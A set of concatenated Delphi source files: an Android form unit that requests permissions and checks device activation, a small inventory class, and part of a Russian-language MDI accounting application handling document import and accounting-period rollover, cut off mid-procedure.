PermissionsService.RequestPermissions([Pub_Unit.cpCAMERA], procedure(const APermissions: TArray<string>; const AGrantResults: TArray<TPermissionStatus>) begin if (Length(AGrantResults) = 1) and (AGrantResults[0] = TPermissionStatus.Granted) then //ShowMessage('Permission CONCEDIDO :' + Pub_Unit.cpCAMERA) else ShowMessage('Permission Denied :' + Pub_Unit.cpCAMERA); end); PermissionsService.RequestPermissions([Pub_Unit.cpINTERNET], procedure(const APermissions: TArray<string>; const AGrantResults: TArray<TPermissionStatus>) begin if (Length(AGrantResults) = 1) and (AGrantResults[0] = TPermissionStatus.Granted) then //ShowMessage('Permission CONCEDIDO :' + Pub_Unit.cpINTERNET) else ShowMessage('Permission Denied :' + Pub_Unit.cpINTERNET); end); PermissionsService.RequestPermissions([Pub_Unit.cpREAD_EXTERNAL_STORAGE], procedure(const APermissions: TArray<string>; const AGrantResults: TArray<TPermissionStatus>) begin if (Length(AGrantResults) = 1) and (AGrantResults[0] = TPermissionStatus.Granted) then //ShowMessage('Permission CONCEDIDO :' + Pub_Unit.cpREAD_EXTERNAL_STORAGE) else ShowMessage('Permission Denied :' + Pub_Unit.cpREAD_EXTERNAL_STORAGE); end); PermissionsService.RequestPermissions([Pub_Unit.cpWRITE_EXTERNAL_STORAGE], procedure(const APermissions: TArray<string>; const AGrantResults: TArray<TPermissionStatus>) begin if (Length(AGrantResults) = 1) and (AGrantResults[0] = TPermissionStatus.Granted) then //ShowMessage('Permission CONCEDIDO :' + Pub_Unit.cpWRITE_EXTERNAL_STORAGE) else ShowMessage('Permission Denied :' + Pub_Unit.cpWRITE_EXTERNAL_STORAGE); end); end; function TfScr_Main.Init_Database_Sqlite: boolean; begin oConn.Connected := false; oConn.Params.Values['Database'] := Pub_Unit.cDb_Path; oConn.Connected := true; Result := oConn.Connected; end; //{$IFDEF ANDROID} procedure TfScr_Main.Toast(const Msg: string; Duration: Integer); begin CallInUiThread( procedure begin TJToast.JavaClass.makeText(TAndroidHelper.Context, StrToJCharSequence(Msg), Duration).show end); end; //{$ENDIF} function TfScr_Main.Valida_Activacion_Vigente(): Boolean; var cSql_Cmd: string; dDateIni: TDateTime; dDateEnd: TDateTime; cDateIni: string; cDateEnd: string; cDateNow: string; begin Result := false; cSql_Cmd := 'SELECT serial,acceso_periodo,fecha_desde,fecha_hasta,acceso_subidas, subidas_counter,subidas_total FROM dispositivos WHERE serial="' + Pub_Unit.cId_Device + '"'; if (Pub_Unit.Execute_SQL_Query(Pub_Unit.oPub_Qry, cSql_Cmd) = True) then begin dDateIni := Pub_Unit.oPub_Qry.FieldByName('fecha_desde').AsDateTime; dDateEnd := Pub_Unit.oPub_Qry.FieldByName('fecha_hasta').AsDateTime; cDateIni := Pub_Unit.DateTimeForSQL(dDateIni); cDateEnd := Pub_Unit.DateTimeForSQL(dDateEnd); cDateNow := Pub_Unit.DateTimeForSQL(Now()); if (Pub_Unit.oPub_Qry.FieldByName('acceso_periodo').AsInteger = 1) then begin if ((Now() >= dDateIni) and (Now() <= dDateEnd)) then Result := true else Result := false; end else begin if ((Pub_Unit.oPub_Qry.FieldByName('subidas_counter').AsInteger >= 0) and (Pub_Unit.oPub_Qry.FieldByName('subidas_counter').AsInteger <= Pub_Unit.oPub_Qry.FieldByName('subidas_total').AsInteger)) then Result := true else Result := false; end; end; end; end.
unit Estoque; interface uses Produto; type TEstoque = class private FProduto: TProduto; FQuantidade: Integer; public property Produto: TProduto read FProduto write FProduto; property Quantidade: Integer read FQuantidade write FQuantidade; constructor Create; overload; constructor Create(Produto: TProduto); overload; constructor Create(Produto: TProduto; Quantidade: Integer); overload; destructor Destroy; override; end; implementation { TEstoque } constructor TEstoque.Create; begin end; constructor TEstoque.Create(Produto: TProduto); begin Self.FProduto := Produto; end; constructor TEstoque.Create(Produto: TProduto; Quantidade: Integer); begin Self.FProduto := Produto; Self.Quantidade := Quantidade; end; destructor TEstoque.Destroy; begin if (Assigned(FProduto)) then FProduto.Free; inherited; end; end.
unit uMain; {******************************************************************************* * * * Название модуля : * * * * uMain * * * * Назначение модуля : * * * * Организация MDI - интерфейса приложения. * * * * Copyright © Год 2005, Автор: Найдёнов Е.А * * * *******************************************************************************} interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, ToolWin, ActnMan, ActnCtrls, ActnMenus, XPStyleActnCtrls, ActnList, StdActns, CustomizeDlg, BandActn, StdStyleActnCtrls, ExtActns, ExtCtrls, StdCtrls, cxGraphics, cxControls, dxStatusBar, Menus, dxBar, dxBarExtItems, Fib, DB, FIBDataSet, pFIBDataSet, frxClass, frxDBSet, FIBQuery, pFIBQuery, pFIBStoredProc, cxContainer, cxEdit, cxTextEdit, RxMemDS, cxLookAndFeelPainters, cxButtons, DateUtils, cxDBProgressBar, Halcn6db, FIBDatabase, frxDesgn, uneTypes, uneLibrary; type TfmMain = class(TForm, IneCallExpMethod) dstMain : TpFIBDataSet; spcMain : TpFIBStoredProc; aclMain : TActionList; stbMain : TdxStatusBar; brmMain : TdxBarManager; mnuExit : TdxBarButton; mnuWork : TdxBarSubItem; mnuHelp : TdxBarSubItem; mnuSprav : TdxBarButton; mnuWindow : TdxBarSubItem; mnuService : TdxBarSubItem; mnuReports : TdxBarSubItem; smnHelp : TdxBarButton; smnAbout : TdxBarButton; smnCascade : TdxBarButton; smnTileHor : TdxBarButton; smnTileVert : TdxBarButton; smnCloseAll : TdxBarButton; smnWatchJO5 : TdxBarButton; smnPrtJournal : TdxBarButton; smnNextPeriod : TdxBarButton; smnInputProvs : TdxBarButton; smnImportProvs : TdxBarButton; smnMinimizeAll : TdxBarButton; smnCreateOstatki : TdxBarButton; smnPreviousPeriod : TdxBarButton; actWinMinAll : TWindowMinimizeAll; actWinCascade : TWindowCascade; actWinTileHor : TWindowTileHorizontal; actWinTileVert : TWindowTileVertical; actWinCloseAll : TAction; dstBuffer : TRxMemoryData; fldSCH_TITLE : TStringField; fldSCH_ERROR : TStringField; fldSCH_NUMBER : TStringField; dstAllDocs : TRxMemoryData; dstAllProvs : TRxMemoryData; mnuCurrPeriod : TdxBarStatic; procedure FormCreate (Sender: TObject); procedure mnuExitClick (Sender: TObject); procedure smnHelpClick (Sender: TObject); procedure mnuSpravClick (Sender: TObject); procedure smnAboutClick (Sender: TObject); procedure mnuReportsClick (Sender: TObject); procedure smnWatchJO5Click (Sender: TObject); procedure smnNextPeriodClick (Sender: TObject); procedure smnInputProvsClick (Sender: TObject); procedure smnPrtJournalClick (Sender: TObject); procedure smnImportProvsClick (Sender: TObject); procedure actWinCloseAllUpdate (Sender: TObject); procedure smnCreateOstatkiClick (Sender: TObject); procedure actWinCloseAllExecute (Sender: TObject); procedure smnPreviousPeriodClick (Sender: TObject); procedure frrMainGetValue (const VarName: String; var Value: Variant); procedure frrMainManualBuild (Page: TfrxPage); private FResultExpMethod : TneGetExpMethod; public property pResultExpMethod: TneGetExpMethod read FResultExpMethod implements IneCallExpMethod; end; var fmMain : TfmMain; PrtDate : TDate; implementation uses {uLogIn,} uDataModul, uneUtils, uErrorSch, Kernel, GlobalSpr; resourcestring sMsgExitAppConfirm = 'Вы действительно хотите выйти из программы?'; sMsgOKImport = 'Импорт успешно завершен!'; sMsgErrImport = 'Не удалось выполнить импорт без ошибок...'#13'показать расшифровку ошибок для документов?'; sMsgErrImportTmp = 'Импорт завершился с ошибками'; sMsgOKOpenSystem = 'Cистема успешно переведена в предыдущий период'; sMsgOKCloseSystem = 'Cистема успешно переведена в следующий период'; sMsgErrOpenSystem = 'Не удалось откатить систему в предыдущий период...'#13'Показать расшифровку ошибок для всех неоткатившихся счетов?'; sMsgErrCloseSystem = 'Не удалось перевести систему в следующий период...'#13'Показать расшифровку ошибок для всех непереведённых счетов?'; sMsgNoneOpenSystem = 'Не удалось откатить систему в предыдущий период,'#13'поскольку в текущем периоде отсутствуют закрытые счета'; sMsgNoneCloseSystem = 'Не удалось перевести систему в следующий период,'#13'поскольку в текущем периоде отсутствуют незакрытые счета'; const cDEF_STEP = 1; cDEF_ID_PK = -1; cDEF_ID_USER = -1; {$R *.dfm} procedure TfmMain.FormCreate(Sender: TObject); var MonthNum : String; begin try try if Assigned( dmdDataModul ) then if dmdDataModul.pSysOptions.IsValid then begin //Исправляем ошибку при максимизации окна для стиля "Windows XP" SendMessage( Handle, WM_SIZE, SIZE_MAXIMIZED, 0 ); //Активируем пункты меню with brmMain.MainMenuBar do begin ItemLinks.Items[0].Item.Enabled := True; ItemLinks.Items[1].Item.Enabled := True; ItemLinks.Items[2].Item.Enabled := True; ItemLinks.Items[3].Item.Enabled := True; ItemLinks.Items[4].Item.Enabled := True; end; //Показываем текущий период и строку соединения with dmdDataModul.pSysOptions do begin MonthNum := IntToStr( MonthOf( DateCurrPeriod ) ); SetFirstZero( MonthNum ); mnuCurrPeriod.Caption := sMMenuCurrPeriodUA + cBRAKET_OP + MonthNum + cBRAKET_CL + cSPACE + cMonthUA[ StrToInt( MonthNum ) - 1 ] + cSPACE + IntToStr( YearOf( DateCurrPeriod ) ) + cYEAR_UA_SHORT; stbMain.Panels[0].Text := sStatusBarConnectionUA + ConnectionStr; stbMain.Panels[1].Text := sStatusBarUserUA + UsrFIO; end; end; except LogException( dmdDataModul.pSysOptions.LogFileName ); Raise; end; except on E: EConvertError do MessageBox( Handle, PChar( sErrorTextExt + sEConvertError + cCRLF + E.Message ), PChar( sMsgCaptionErr ), MB_OK or MB_ICONERROR ); on E: Exception do MessageBox( Handle, PChar( sErrorTextExt + E.Message ), PChar( sMsgCaptionErr ), MB_OK or MB_ICONERROR ); end; end; //Выходим из приложения procedure TfmMain.mnuExitClick(Sender: TObject); var ModRes : Byte; begin ModRes := MessageBox( Handle, PChar( sMsgExitAppConfirm ), PChar( sMsgCaptionQst ), MB_YESNO or MB_ICONQUESTION ); if ModRes = ID_YES then Application.Terminate; end; //Закрываем все дочерние окна procedure TfmMain.actWinCloseAllExecute(Sender: TObject); var i : Integer; begin for i := 0 to MDIChildCount - 1 do begin MDIChildren[i].Close; end; end; //Отслеживаем актуальность пункта меню "Закрыть всё" procedure TfmMain.actWinCloseAllUpdate(Sender: TObject); begin if MDIChildCount > 0 then actWinCloseAll.Enabled := True else actWinCloseAll.Enabled := False; end; //Показываем окно "О программе" procedure TfmMain.smnAboutClick(Sender: TObject); var vMTDParams : TPtr_MTDParams; vBPLParams : TPtr_BPLParams; begin try try New( vBPLParams ); vBPLParams^.MethodName := sMN_GetFmAbout; vBPLParams^.PackageName := ExtractFilePath( Application.ExeName ) + 'JO5\JO5_About7.bpl'; New( vMTDParams ); with vMTDParams^ do begin FMParams.Owner := Self; FMParams.Style := fsModal; end; FResultExpMethod := TneGetExpMethod.Create( Self, vBPLParams, vMTDParams ); finally FreeAndNil( FResultExpMethod ); Dispose( vBPLParams ); Dispose( vMTDParams ); vBPLParams := nil; vMTDParams := nil; end; except on E: Exception do begin MessageBox( Handle, PChar( sErrorTextExt + E.Message ), PChar( sMsgCaptionErr ), MB_OK or MB_ICONERROR ); end; end; end; procedure TfmMain.smnHelpClick(Sender: TObject); begin MessageBox( Handle, 'Находиться на стадии разработки', 'Информация', MB_OK or MB_ICONINFORMATION ); end; procedure TfmMain.smnInputProvsClick(Sender: TObject); begin with dmdDataModul.pSysOptions do begin GlobalSpr.GetProvs( Self, dmdDataModul.dbJO5.Handle, DateCurrPeriod, 0, IdUser, UsrLogin, UsrPassword, 9 ); end; end; //Импортируем данные из ДОСа procedure TfmMain.smnImportProvsClick(Sender: TObject); {var i, j, n, k : Integer; ModRes : Integer; KeySession : Int64; ImportIsOK : Boolean; fmImpParams : TfmImpParams; KernelResult : Boolean; fmErrDocsProvs : TfmErrorDocsProvs; KernelModeStrRec : KERNEL_MODE_STRUCTURE;} begin { try try try fmImpParams := TfmImpParams.Create( Self ); with fmImpParams do begin ShowModal; //Стартуем процедуру импорта if ModalResult = mrOK then begin //Очищаем временные таблицы для хранения документов и проводок из ДОСа spcMain.StoredProcName := 'JO5_CLEAR_IMPORT_ALL_DOC'; dmdDataModul.trWrite.StartTransaction; spcMain.Prepare; spcMain.ExecProc; spcMain.StoredProcName := 'JO5_CLEAR_IMPORT_ALL_PROV'; spcMain.Prepare; spcMain.ExecProc; dmdDataModul.trWrite.Commit; n := dstAllDoc.RecordCount - 1; dstAllDoc.First; spcMain.StoredProcName := 'JO5_FILL_IMPORT_ALL_DOC'; dmdDataModul.trWrite.StartTransaction; //Заполняем временные таблицы для хранения документов из ДОСа новой информацией for i:= 0 to n do begin // ShowMessage( IntToStr( Int64( fmImpParams.dstAllDoc.FieldByName(cDOC_FN_ID_DOC ).AsBCD ) ) ); spcMain.ParamByName('IN_ID_DOC' ).AsInt64 := dstAllDoc.FieldByName(cDOC_FN_ID_DOC ).AsVariant; spcMain.ParamByName('IN_DATE_REG' ).AsDate := dstAllDoc.FieldByName(cDOC_FN_DATE_REG ).AsDateTime; spcMain.ParamByName('IN_DATE_DOC' ).AsDate := dstAllDoc.FieldByName(cDOC_FN_DATE_DOC ).AsDateTime; spcMain.ParamByName('IN_NUM_DOC' ).AsString := dstAllDoc.FieldByName(cDOC_FN_NUM_DOC ).AsString; spcMain.ParamByName('IN_ID_TYPE_DOC').AsInt64 := dstAllDoc.FieldByName(cDOC_FN_ID_TYPE_DOC).AsVariant; spcMain.ParamByName('IN_DATE_PROV' ).AsDate := dstAllDoc.FieldByName(cDOC_FN_DATE_PROV ).AsDateTime; spcMain.ParamByName('IN_SUMMA' ).AsCurrency := dstAllDoc.FieldByName(cDOC_FN_SUMMA ).AsCurrency; spcMain.ParamByName('IN_NOTE' ).AsString := dstAllDoc.FieldByName(cDOC_FN_NOTE ).AsString; spcMain.ParamByName('IN_FIO' ).AsString := dstAllDoc.FieldByName(cDOC_FN_FIO ).AsString; spcMain.Prepare; spcMain.ExecProc; dstAllDoc.Next; end; // Exit; n := dstAllProv.RecordCount - 1; dstAllProv.First; spcMain.StoredProcName := 'JO5_FILL_IMPORT_ALL_PROV'; //Заполняем временные таблицы для хранения проводок из ДОСа новой информацией for i:= 0 to n do begin spcMain.ParamByName('IN_ID_PROV' ).AsInt64 := dstAllProv.FieldByName(cPROV_FN_ID_PROV ).AsVariant; spcMain.ParamByName('IN_DATE_REG' ).AsDate := dstAllProv.FieldByName(cPROV_FN_DATE_REG ).AsDateTime; spcMain.ParamByName('DB_ID_DOC' ).AsInt64 := dstAllProv.FieldByName(cPROV_FN_DB_ID_DOC ).AsVariant; spcMain.ParamByName('KR_ID_DOC' ).AsInt64 := dstAllProv.FieldByName(cPROV_FN_KR_ID_DOC ).AsVariant; spcMain.ParamByName('IN_SUMMA' ).AsCurrency := dstAllProv.FieldByName(cPROV_FN_SUMMA ).AsCurrency; spcMain.ParamByName('IN_STORNO' ).AsInteger := Ord( dstAllProv.FieldByName(cPROV_FN_STORNO ).AsBoolean ); spcMain.ParamByName('IN_CR_BY_DT' ).AsInteger := Ord( dstAllProv.FieldByName(cPROV_FN_CR_BY_DT ).AsBoolean ); spcMain.ParamByName('IN_TABLE_NUM' ).AsInt64 := dstAllProv.FieldByName(cPROV_FN_TABLE_NUM ).AsVariant; spcMain.ParamByName('IN_DB_BAL_ID' ).AsInteger := dstAllProv.FieldByName(cPROV_FN_DB_BAL_ID ).AsInteger; spcMain.ParamByName('IN_KR_BAL_ID' ).AsInteger := dstAllProv.FieldByName(cPROV_FN_KR_BAL_ID ).AsInteger; spcMain.ParamByName('IN_DB_SUB_ID' ).AsInteger := dstAllProv.FieldByName(cPROV_FN_DB_SUB_ID ).AsInteger; spcMain.ParamByName('IN_KR_SUB_ID' ).AsInteger := dstAllProv.FieldByName(cPROV_FN_KR_SUB_ID ).AsInteger; spcMain.ParamByName('IN_DB_DT_PROV' ).AsDate := dstAllProv.FieldByName(cPROV_FN_DB_DT_PROV ).AsDateTime; spcMain.ParamByName('IN_KR_DT_PROV' ).AsDate := dstAllProv.FieldByName(cPROV_FN_KR_DT_PROV ).AsDateTime; spcMain.ParamByName('IN_DB_KOD_SMET').AsInteger := dstAllProv.FieldByName(cPROV_FN_DB_KOD_SMET).AsInteger; spcMain.ParamByName('IN_KR_KOD_SMET').AsInteger := dstAllProv.FieldByName(cPROV_FN_KR_KOD_SMET).AsInteger; spcMain.ParamByName('IN_DB_KOD_RAZD').AsInteger := dstAllProv.FieldByName(cPROV_FN_DB_KOD_RAZD).AsInteger; spcMain.ParamByName('IN_KR_KOD_RAZD').AsInteger := dstAllProv.FieldByName(cPROV_FN_KR_KOD_RAZD).AsInteger; spcMain.ParamByName('IN_DB_KOD_STAT').AsInteger := dstAllProv.FieldByName(cPROV_FN_DB_KOD_STAT).AsInteger; spcMain.ParamByName('IN_KR_KOD_STAT').AsInteger := dstAllProv.FieldByName(cPROV_FN_KR_KOD_STAT).AsInteger; spcMain.Prepare; spcMain.ExecProc; dstAllProv.Next; end; dmdDataModul.trWrite.Commit; n := dstAllDoc.RecordCount - 1; ImportIsOK := True; //Подготавливаем буфера для протоколирования возможных ошибок if dstAllDoc.Active OR dstAllProv.Active then begin dstAllDoc.Close; dstAllProv.Close; end; dstAllDoc.Open; dstAllProv.Open; dstAllDoc.First; dmdDataModul.trWrite.StartTransaction; //Заполняем буфера импортированными документами и проводками for i:= 0 to n do begin //Получаем идентификатор сессии работы с ядром spcMain.StoredProcName := 'JO5_GET_KEY_SESSION'; spcMain.ParamByName('IN_STEP').AsInteger := cDEF_STEP; spcMain.Prepare; spcMain.ExecProc; KeySession := spcMain.FN('OUT_KEY_SESSION').AsInt64; //Заполняем буфера spcMain.StoredProcName := 'JO5_IMPORT_ALL_DOC_ALL_PROV_INS'; spcMain.ParamByName('IN_KEY_SESSION' ).AsInt64 := KeySession; spcMain.ParamByName('IN_ID_DOC' ).AsInt64 := dstAllDoc.FieldByName(cDOC_FN_ID_DOC ).AsVariant; spcMain.ParamByName('IN_DATE_REG_DOC').AsDate := dstAllDoc.FieldByName(cDOC_FN_DATE_REG ).AsDateTime; spcMain.Prepare; spcMain.ExecProc; //Заполняем структуру для проведения документа через ядро KernelModeStrRec.KERNEL_ACTION := Ord( kmAdd ); KernelModeStrRec.KEY_SESSION := KeySession; KernelModeStrRec.WORKDATE := dstAllDoc.FieldByName(cDOC_FN_DATE_DOC).AsDateTime; KernelModeStrRec.DBHANDLE := dmdDataModul.dbJO5.Handle; KernelModeStrRec.TRHANDLE := dmdDataModul.trWrite.Handle; KernelModeStrRec.PK_ID := cDEF_ID_PK; KernelModeStrRec.ID_USER := cDEF_ID_USER; //Пытаемся провести документ через ядро try KernelResult := KernelDo( @KernelModeStrRec ); except on E: Exception do begin LogException( dmdDataModul.pSysOptions.LogFileName ); MessageBox( Handle, PChar( sMsgKernelError + E.Message ), PChar( sMsgCaptionErr ), MB_OK or MB_ICONERROR ); end; end; //Анализируем результат проведения документа if not KernelResult then begin // ShowMessage( IntToStr( KeySession ) ); ImportIsOK := False; //Получаем расшифровку ошибок по документам dstMain.Close; dstMain.SQLs.SelectSQL.Text := 'SELECT * FROM JO5_GET_DOCS_ERRORS (' + IntToStr( KeySession ) + cBRAKET_CL; dstMain.Open; //Запоминаем информацию для непроимпортированного документа dstAllDocs.LoadFromDataSet( dstMain, 0, lmAppend ); //Получаем расшифровку ошибок для проводок dstMain.Close; dstMain.SQLs.SelectSQL.Text := 'SELECT * FROM JO5_GET_PROVS_ERRORS (' + IntToStr( KeySession ) + cBRAKET_CL; dstMain.Open; //Запоминаем информацию для непроимпортированных проводок dstAllProvs.LoadFromDataSet( dstMain, 0, lmAppend ); //Очищаем буфера и таблицы ошибок spcMain.StoredProcName := 'KERNEL_CLEAR_TMP'; spcMain.ParamByName('KEY_SESSION').AsInt64 := KeySession; spcMain.Prepare; spcMain.ExecProc; end; dstAllDoc.Next; end; dmdDataModul.trWrite.Commit; //Оповещаем пользователя о результатах завершения импорта if not ImportIsOK then begin MessageBox( Handle, PChar( sMsgErrImportTmp ), PChar( sMsgCaptionErr ), MB_OK or MB_ICONERROR ); { ModRes := MessageBox( Handle, PChar( sMsgErrImport ), PChar( sMsgCaptionErr ), MB_YESNO or MB_ICONERROR ); //Показываем расшифровку ошибок по документам if ModRes = ID_YES then begin try fmErrDocsProvs := TfmErrorDocsProvs.Create( Self, dstAllDocs, dstAllProvs ); fmErrDocsProvs.ShowModal; finally FreeAndNil( fmErrDocsProvs ); end; end; end else begin MessageBox( Handle, PChar( sMsgOKImport ), PChar( sMsgCaptionInf ), MB_YESNO or MB_ICONERROR ); end; dstAllDoc.Close; dstAllProv.Close; end; end; //End of operator with FreeAndNil( fmImpParams ); finally if Assigned( fmImpParams ) then FreeAndNil( fmImpParams ); end; except //Завершаем транзанкцию if dmdDataModul.trWrite.InTransaction then dmdDataModul.trWrite.Rollback; //Освобождаем память для НД if dstAllDocs.Active OR dstAllProvs.Active then begin dstAllDocs.Close; dstAllProvs.Close; end; //Протоколируем ИС LogException( dmdDataModul.pSysOptions.LogFileName ); Raise; end; except on E: Exception do MessageBox( Handle, PChar( sErrorTextExt + E.Message ), PChar( sMsgCaptionErr ), MB_OK or MB_ICONERROR ); end;} end; procedure TfmMain.smnCreateOstatkiClick(Sender: TObject); begin MessageBox( Handle, 'Находиться на стадии разработки', 'Информация', MB_OK or MB_ICONINFORMATION ); end; procedure TfmMain.mnuSpravClick(Sender: TObject); begin MessageBox( Handle, 'Находиться на стадии разработки', 'Информация', MB_OK or MB_ICONINFORMATION ); end; procedure TfmMain.mnuReportsClick(Sender: TObject); begin MessageBox( Handle, 'Находиться на стадии разработки', 'Информация', MB_OK or MB_ICONINFORMATION ); end; //Печатаем журнал procedure TfmMain.smnPrtJournalClick(Sender: TObject); var vMTDParams : TPtr_MTDParams; vBPLParams : TPtr_BPLParams; begin try try brmMain.MainMenuBar.Control.Update; New( vBPLParams ); vBPLParams^.MethodName := sMN_PrintJournal; vBPLParams^.PackageName := dmdDataModul.pSysOptions.AppExePath + 'JO5\JO5_SetPrtJrnlParams7.bpl'; New( vMTDParams ); with vMTDParams^ do begin SysOptions := dmdDataModul.pSysOptions; DBFMParams.Owner := Self; DBFMParams.Style := fsModal; DBFMParams.DBHandle := dmdDataModul.dbJO5.Handle; end; FResultExpMethod := TneGetExpMethod.Create( Self, vBPLParams, vMTDParams ); finally if FResultExpMethod <> nil then FreeAndNil( FResultExpMethod ); FreeAndNilPTR( Pointer( vBPLParams ) ); FreeAndNilPTR( Pointer( vMTDParams ) ); end; except on E: Exception do begin MessageBox( Handle, PChar( sErrorTextExt + E.Message ), PChar( sMsgCaptionErr ), MB_OK or MB_ICONERROR ); end; end; end; //Получаем значения динамически изменяющихся параметров печати procedure TfmMain.frrMainGetValue(const VarName: String; var Value: Variant); begin if VarName = 'Period' then Value := GetMonthName( PrtDate ) + cSPACE + IntToStr( YearOf( PrtDate ) ) + cSPACE + 'г.' end; //Переводим систему в следующий период procedure TfmMain.smnNextPeriodClick(Sender: TObject); var i, n : Integer; ModRes : Byte; IsClose : Boolean; MonthNum : String; fmErrSch : TfmErrorSch; ResultSchStr : RESULT_STRUCTURE; PKernelSchStr : PKERNEL_SCH_MNGR_STRUCTURE; begin try try //Получаем множество счетов, находящихся в текущем периоде для перевода системы в следующий период dstMain.Close; dstMain.SQLs.SelectSQL.Text := 'SELECT * FROM JO5_GET_INFO_TO_CLOSE_PERIOD'; dstMain.Open; n := dstMain.RecordCount - 1; //Подготавливаем буфер для протоколирования возможных ошибок отката перевода системы if dstBuffer.Active then dstBuffer.Close; dstBuffer.Open; IsClose := True; //Пытаемся перевести систему в следующий период по всем счетам for i := 0 to n do begin try //Заполняем структуру для менеджера счетов New( PKernelSchStr ); dmdDataModul.trWrite.StartTransaction; PKernelSchStr^.MODE := Ord( mmCloseSch ); PKernelSchStr^.DBHANDLE := dmdDataModul.dbJO5.Handle; PKernelSchStr^.TRHANDLE := dmdDataModul.trWrite.Handle; PKernelSchStr^.ID_SCH := dstMain.FBN('OUT_ID_SUB_SCH' ).AsVariant; PKernelSchStr^.DB_OBOR := dstMain.FBN('OUT_DB_OBOROT' ).AsCurrency; PKernelSchStr^.KR_OBOR := dstMain.FBN('OUT_KR_OBOROT' ).AsCurrency; PKernelSchStr^.DB_SALDO_IN := dstMain.FBN('OUT_DB_SALDO_INPUT' ).AsCurrency; PKernelSchStr^.KR_SALDO_IN := dstMain.FBN('OUT_KR_SALDO_INPUT' ).AsCurrency; PKernelSchStr^.DB_SALDO_OUT := dstMain.FBN('OUT_DB_SALDO_OUTPUT').AsCurrency; PKernelSchStr^.KR_SALDO_OUT := dstMain.FBN('OUT_KR_SALDO_OUTPUT').AsCurrency; //Вызываем менеджер счетов ResultSchStr := SchManager( PKernelSchStr ); dmdDataModul.trWrite.Commit; //Анализируем результат перевода текущего счёта if ResultSchStr.RESULT_CODE = Ord( msrError ) then begin //Запоминаем информацию для непереведённого счёта dstBuffer.Insert; dstBuffer.FieldByName('SCH_NUMBER').Value := dstMain.FBN('OUT_SUB_SCH_NUMBER').AsString; dstBuffer.FieldByName('SCH_TITLE' ).Value := dstMain.FBN('OUT_SUB_SCH_TITLE' ).AsString; dstBuffer.FieldByName('SCH_ERROR' ).Value := ResultSchStr.RESULT_MESSAGE; dstBuffer.Post; IsClose := False; end; finally //Освобождаем динамически выделенную память if PKernelSchStr <> nil then begin Dispose( PKernelSchStr ); PKernelSchStr := nil; end; end; dstMain.Next; end; //Переводим систему в следующий период + изменяем значения сальдо по всем счетам if IsClose then begin dstMain.First; dmdDataModul.trWrite.StartTransaction; //Обновляем значения сальдо по всем счетам for i := 0 to n do begin //Удалям существующее вступительное сальдо для следующего периода spcMain.StoredProcName := 'JO5_DT_SALDO_DEL_EXT'; spcMain.ParamByName('IN_CLOSE_PERIOD_BOOL').AsInteger := Ord( smClose ); spcMain.ParamByName('IN_ID_SCH' ).AsInt64 := dstMain.FBN('OUT_ID_SUB_SCH').AsVariant; spcMain.Prepare; spcMain.ExecProc; //Добавляем пресчитанное вступительное сальдо для следующего периода spcMain.StoredProcName := 'JO5_DT_SALDO_INS_EXT'; spcMain.ParamByName('IN_CLOSE_PERIOD_BOOL').AsInteger := Ord( smClose ); spcMain.ParamByName('IN_ID_SCH' ).AsInt64 := dstMain.FBN('OUT_ID_SUB_SCH').AsVariant; spcMain.Prepare; spcMain.ExecProc; dstMain.Next; end; //Переводим систему в следующий период if n <> -1 then begin spcMain.StoredProcName := 'JO5_INI_SETUP_UPDATE_KOD_PERIOD'; spcMain.ParamByName('IN_CLOSE_PERIOD_BOOL').AsInteger := Ord( smClose ); spcMain.Prepare; spcMain.ExecProc; //Получаем данные для текущего периода системы with dmdDataModul.pSysOptions do begin KodCurrPeriod := spcMain.FN('OUT_KOD_CURR_PERIOD' ).AsInteger; DateCurrPeriod := spcMain.FN('OUT_DATE_CURR_PERIOD').AsDate; //Обновляем значение текущего периода MonthNum := IntToStr( MonthOf( DateCurrPeriod ) ); SetFirstZero( MonthNum ); mnuCurrPeriod.Caption := sMMenuCurrPeriodRUS + cBRAKET_OP + MonthNum + cBRAKET_CL + cSPACE + cMonthRUS[ StrToInt( MonthNum ) - 1 ] + cSPACE + IntToStr( YearOf( DateCurrPeriod ) ) + cYEAR_RUS_SHORT; end; end; dmdDataModul.trWrite.Commit; //Оповещаем пользователя о результатах перевода системы в следующий период if n <> -1 then MessageBox( Handle, PChar( sMsgOKCloseSystem ), PChar( sMsgCaptionInf ), MB_OK or MB_ICONINFORMATION ) else MessageBox( Handle, PChar( sMsgNoneCloseSystem ), PChar( sMsgCaptionWrn ), MB_OK or MB_ICONWARNING ); end else begin ModRes := MessageBox( Handle, PChar( sMsgErrCloseSystem ), PChar( sMsgCaptionErr ), MB_YESNO or MB_ICONERROR ); //Показываем расшифровку ошибок по счетам if ModRes = ID_YES then begin try fmErrSch := TfmErrorSch.Create( Self, dstBuffer ); fmErrSch.ShowModal; finally FreeAndNil( fmErrSch ); end; end; end; dstBuffer.Close; except //Завершаем транзанкцию if dmdDataModul.trWrite.InTransaction then dmdDataModul.trWrite.Rollback; //Освобождаем память для НД if dstBuffer.Active then dstBuffer.Close; //Протоколируем ИС LogException( dmdDataModul.pSysOptions.LogFileName ); Raise; end; except on E: Exception do begin MessageBox( Handle, PChar( sErrorTextExt + E.Message ), PChar( sMsgCaptionErr ), MB_OK or MB_ICONERROR ); end; end; end; //Откатываем систему в предыдущий период procedure TfmMain.smnPreviousPeriodClick(Sender: TObject); var i, n : Integer; ModRes : Byte; IsOpen : Boolean; MonthNum : String; fmErrSch : TfmErrorSch; ResultSchStr : RESULT_STRUCTURE; PKernelSchStr : PKERNEL_SCH_MNGR_STRUCTURE; begin try try //Получаем множество счетов, находящихся в текущем периоде для отката системы в предыдущий период dstMain.Close; dstMain.SQLs.SelectSQL.Text := 'SELECT * FROM JO5_GET_ALL_SCH_TO_OPEN_PERIOD'; dstMain.Open; n := dstMain.RecordCount - 1; //Подготавливаем буфер для протоколирования возможных ошибок отката системы if dstBuffer.Active then dstBuffer.Close; dstBuffer.Open; IsOpen := True; //Пытаемся откатить систему в предыдущий период по всем счетам for i := 0 to n do begin try //Заполняем структуру для менеджера счетов New( PKernelSchStr ); dmdDataModul.trWrite.StartTransaction; PKernelSchStr^.MODE := Ord( mmOpenSch ); PKernelSchStr^.DBHANDLE := dmdDataModul.dbJO5.Handle; PKernelSchStr^.TRHANDLE := dmdDataModul.trWrite.Handle; PKernelSchStr^.ID_SCH := dstMain.FBN('OUT_ID_SUB_SCH').AsVariant; //Вызываем менеджер счетов ResultSchStr := SchManager( PKernelSchStr ); dmdDataModul.trWrite.Commit; //Анализируем результат отката текущего счёта if ResultSchStr.RESULT_CODE = Ord( msrError ) then begin //Запоминаем информацию для 